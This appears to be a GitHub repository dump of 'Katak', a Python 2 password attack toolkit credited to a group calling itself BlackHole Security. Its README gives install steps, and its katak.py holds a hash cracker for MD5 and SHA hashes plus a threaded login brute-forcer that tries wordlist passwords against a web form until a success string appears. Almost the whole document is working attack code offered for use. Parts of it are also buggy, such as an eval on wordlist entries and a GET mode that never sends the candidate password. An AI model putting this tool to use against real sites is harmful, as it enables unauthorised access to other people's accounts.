├── README.md ├── katak.py └── password.txt /README.md: -------------------------------------------------------------------------------- 1 | # Katak 2 | This tool is an open source software login brute-forcer toolkit and hash decrypter. 3 | 4 | - Hash Killer 80% 5 | - Hash Detection 75% 6 | - Brute Force 90% 7 | - Big Wordlist 100% 8 | - Support Threading 100% 9 | 10 | ## Installation and Usage 11 | ```sh 12 | $ apt-get update && apt-get upgrade 13 | $ apt-get install git python python-requests python-progressbar 14 | $ git clone https://github.com/Gameye98/Katak 15 | $ cd Katak 16 | $ python katak.py 17 | ``` 18 | 19 | For Android termux environment 20 | 21 | ```sh 22 | $ apt update && apt upgrade 23 | $ apt install git python2 24 | $ pip2 install requests progressbar 25 | $ git clone https://github.com/Gameye98/Katak 26 | $ cd Katak 27 | $ python2 katak.py 28 | ``` 29 | 30 | ### Example usage of Hash Killer 31 | ```python 32 | from katak import hash_kill 33 | hash_kill('hash') 34 | ``` 35 | 36 | ### Example usage of Brute-Forcer 37 | ```python 38 | from katak import brute_force 39 | brute_force( 'url', 'params', 'wordlist', 'match_word', 'method', thread=None, timeout=None) 40 | ``` 41 | 42 | License 43 | ------- 44 | MIT -------------------------------------------------------------------------------- /katak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import os 4 | import sys 5 | import time 6 | import hashlib 7 | import requests 8 | import threading 9 | import progressbar 10 | 11 | class hash_kill: 12 | class TypeError(Exception): 13 | def __init__(self): 14 | Exception.__init__(self, "Its not supported algorithms!") 15 | def __init__(self, hash): 16 | self.hash = hash 17 | self.type = self.detect() 18 | if self.type in "md5 sha1 sha224 sha256 sha384 sha512":self.kill() 19 | else:print "[!] Something went error..." 20 | def detect(self): 21 | if len(self.hash) == 32:return "md5" 22 | elif len(self.hash) == 40:return "sha1" 23 | elif len(self.hash) == 56:return "sha224" 24 | elif len(self.hash) == 64:return "sha256" 25 | elif len(self.hash) == 96:return "sha384" 26 | elif len(self.hash) == 128:return "sha512" 27 | else:raise self.TypeError() 28 | def kill(self): 29 | print "[+] Hash type:",self.type 30 | wordlist_ = open("password.txt", 'r').readlines() 31 | progress = progressbar.ProgressBar() 32 | print "[+] Cracking..." 33 | for word in progress(wordlist_): 34 | if self.hash != eval('hashlib.{}("{}").hexdigest()'.format(self.type, word.strip())):pass 35 | else:print "\n[+] Password Found:",word;break;print "[!] Done.\n";time.sleep(1.5);main() 36 | print "\n[!] Done.\n" 37 | time.sleep(1.5) 38 | main() 39 | 40 | class brute_force: 41 | def __init__(self, url, params, wordlist, match_word, method, thread=None, timeout=None): 42 | self.url = url 43 | self.params = params 44 | self.wordlist = wordlist 45 | self.match_word = match_word 46 | self.method = method 47 | if thread: 48 | self.thread = thread 49 | self.timeout = None 50 | else: 51 | self.thread = False 52 | if timeout:self.timeout = timeout 53 | else:self.timeout = 1 54 | self.bruteForce() 55 | def withThread(self): 56 | def post(self): 57 | for word in open(self.wordlist).read().split("\n"): 58 | params = {} 59 | sys.stdout.write(u"\u001b[1000D[*] Trying pass {}".format(word)) 60 | sys.stdout.flush() 61 | params.update({self.params.split("&")[0].split("=")[0]:self.params.split("&")[0].split("=")[1],self.params.split("&")[1].replace("=",""):word}) 62 | response = requests.post(self.url, data=params).text 63 | if self.match_word not in response:pass 64 | else:print "\n[+] You have successfully logged in.";print "[+] Matched word: {}".format(self.match_word);break 65 | print "[!] Done.\n" 66 | def get(self): 67 | for word in open(self.wordlist).read().split("\n"): 68 | sys.stdout.write(u"\u001b[1000D[*] Trying pass {}".format(word)) 69 | sys.stdout.flush() 70 | response = requests.get(self.url+"?"+self.params).text 71 | if self.match_word not in response:pass 72 | else:print "\n[+] You have successfully logged in.";print "[+] Match word: {}".format(self.match_word);break 73 | print "[!] Done.\n" 74 | if self.method == "get": 75 | t = threading.Thread(target=get, args=(self,)) 76 | elif self.method == "post": 77 | t = threading.Thread(target=post, args=(self,)) 78 | else: 79 | t = threading.Thread(target=get, args=(self,)) 80 | t.start() 81 | def withNoThread(self): 82 | def post(self): 83 | for word in open(self.wordlist).read().split("\n"): 84 | params = {} 85 | sys.stdout.write(u"\u001b[1000D[*] Trying pass {}".format(word)) 86 | sys.stdout.flush() 87 | params.update({self.params.split("&")[0].split("=")[0]:self.params.split("&")[0].split("=")[1],self.params.split("&")[1].replace("=",""):word}) 88 | response = requests.post(self.url, data=params).text 89 | if self.match_word not in response:pass 90 | else:print "\n[+] You have successfully logged in.";print "[+] Matched word: {}".format(self.match_word);break 91 | time.sleep(self.timeout) 92 | print "[!] Done.\n" 93 | def get(self): 94 | for word in open(self.wordlist).read().split("\n"): 95 | sys.stdout.write(u"\u001b[1000D[*] Trying pass {}".format(word)) 96 | sys.stdout.flush() 97 | response = requests.get(self.url+"?"+self.params).text 98 | if self.match_word not in response:pass 99 | else:print "\n[+] You have successfully logged in.";print "[+] Matched word: {}".format(self.match_word);break 100 | time.sleep(self.timeout) 101 | print "[!] Done.\n" 102 | if self.method == "get":get(self) 103 | elif self.method == "post":post(self) 104 | else:get(self) 105 | def bruteForce(self): 106 | if self.thread != False:self.withThread() 107 | else:self.withNoThread() 108 | 109 | class download: 110 | class NetworkError(Exception): 111 | def __init__(self): 112 | Exception.__init__(self, "Network is unreachable!") 113 | def __init__(self, url): 114 | self.url = url 115 | self.wordlist() 116 | def wordlist(self): 117 | try:__wordlist__=requests.get(self.url).text;open("password.txt","w").write(__wordlist__);print "[+] Downloaded: password.txt\n[+] String loaded: {}".format(len(open("password.txt").read())) 118 | except:raise self.NetworkError() 119 | 120 | def main(): 121 | opt = raw_input("[h]ash-killer [b]rute-force [w]ordlist [a]bout: ") 122 | if opt.lower() == "h": 123 | hash_kill(raw_input("[*] enter hash: ")) 124 | elif opt.lower() == "b": 125 | url = raw_input("[*] enter url: ") 126 | params = raw_input("[*] enter params: ") 127 | wordlist = raw_input("[*] wordlist: ") 128 | match_word = raw_input("[*] match word: ") 129 | method = raw_input("[*] method: ") 130 | thread = raw_input("[*] thread (y/n): ") 131 | if thread.lower() == "y":thread=True 132 | elif thread.lower() == "n":thread=None 133 | else:thread=None 134 | if thread != True: 135 | timeout = raw_input("[*] timeout (default: 1s): ") 136 | if timeout != "":pass 137 | else:timeout=1 138 | else: 139 | timeout=None 140 | brute_force(url, params, wordlist, match_word, method, thread, timeout) 141 | main() 142 | elif opt.lower() == "w": 143 | opt = raw_input("[d]ownload [u]pdate [b]ack: ") 144 | if opt == "d": 145 | url = raw_input("[*] enter url: ") 146 | download(url) 147 | time.sleep(1.5) 148 | main() 149 | elif opt == "u": 150 | try: 151 | __wordlist__ = requests.get("https://raw.githubusercontent.com/Gameye98/Gameye98.github.io/master/wordlist/password.txt").text 152 | open("password.txt","w").write(__wordlist__) 153 | print "[+] Updated: password.txt" 154 | print "[+] String loaded: {}".format(len(open("password.txt").read())) 155 | time.sleep(1.5) 156 | main() 157 | except:print "[!] NetworkError: Network is unreachable";main() 158 | elif opt == "b": 159 | main() 160 | elif opt.lower() == "a": 161 | print __about__ 162 | main() 163 | else: 164 | main() 165 | 166 | __banner__ = """ 167 | Katak (v0.0.1-dev) by DedSecTL... 168 | ================================= 169 | * Hash Killer 80% 170 | * Hash Detection 75% 171 | * Brute Force 90% 172 | * Big Wordlist 100% 173 | * Support Threading 100% 174 | """ 175 | __about__ = """ 176 | About 177 | ----- 178 | Katak - Password Attack Toolkit 179 | Author : DedSecTL 180 | Version : 0.0.1 181 | Team : BlackHole Security 182 | Date : Sun Oct 28 21:08:48 2018 183 | Telegram : @dtlily 184 | Line : dtl.lily 185 | """ 186 | 187 | if __name__ == '__main__': 188 | try: 189 | print __banner__ 190 | main() 191 | except KeyboardInterrupt: 192 | sys.exit() --------------------------------------------------------------------------------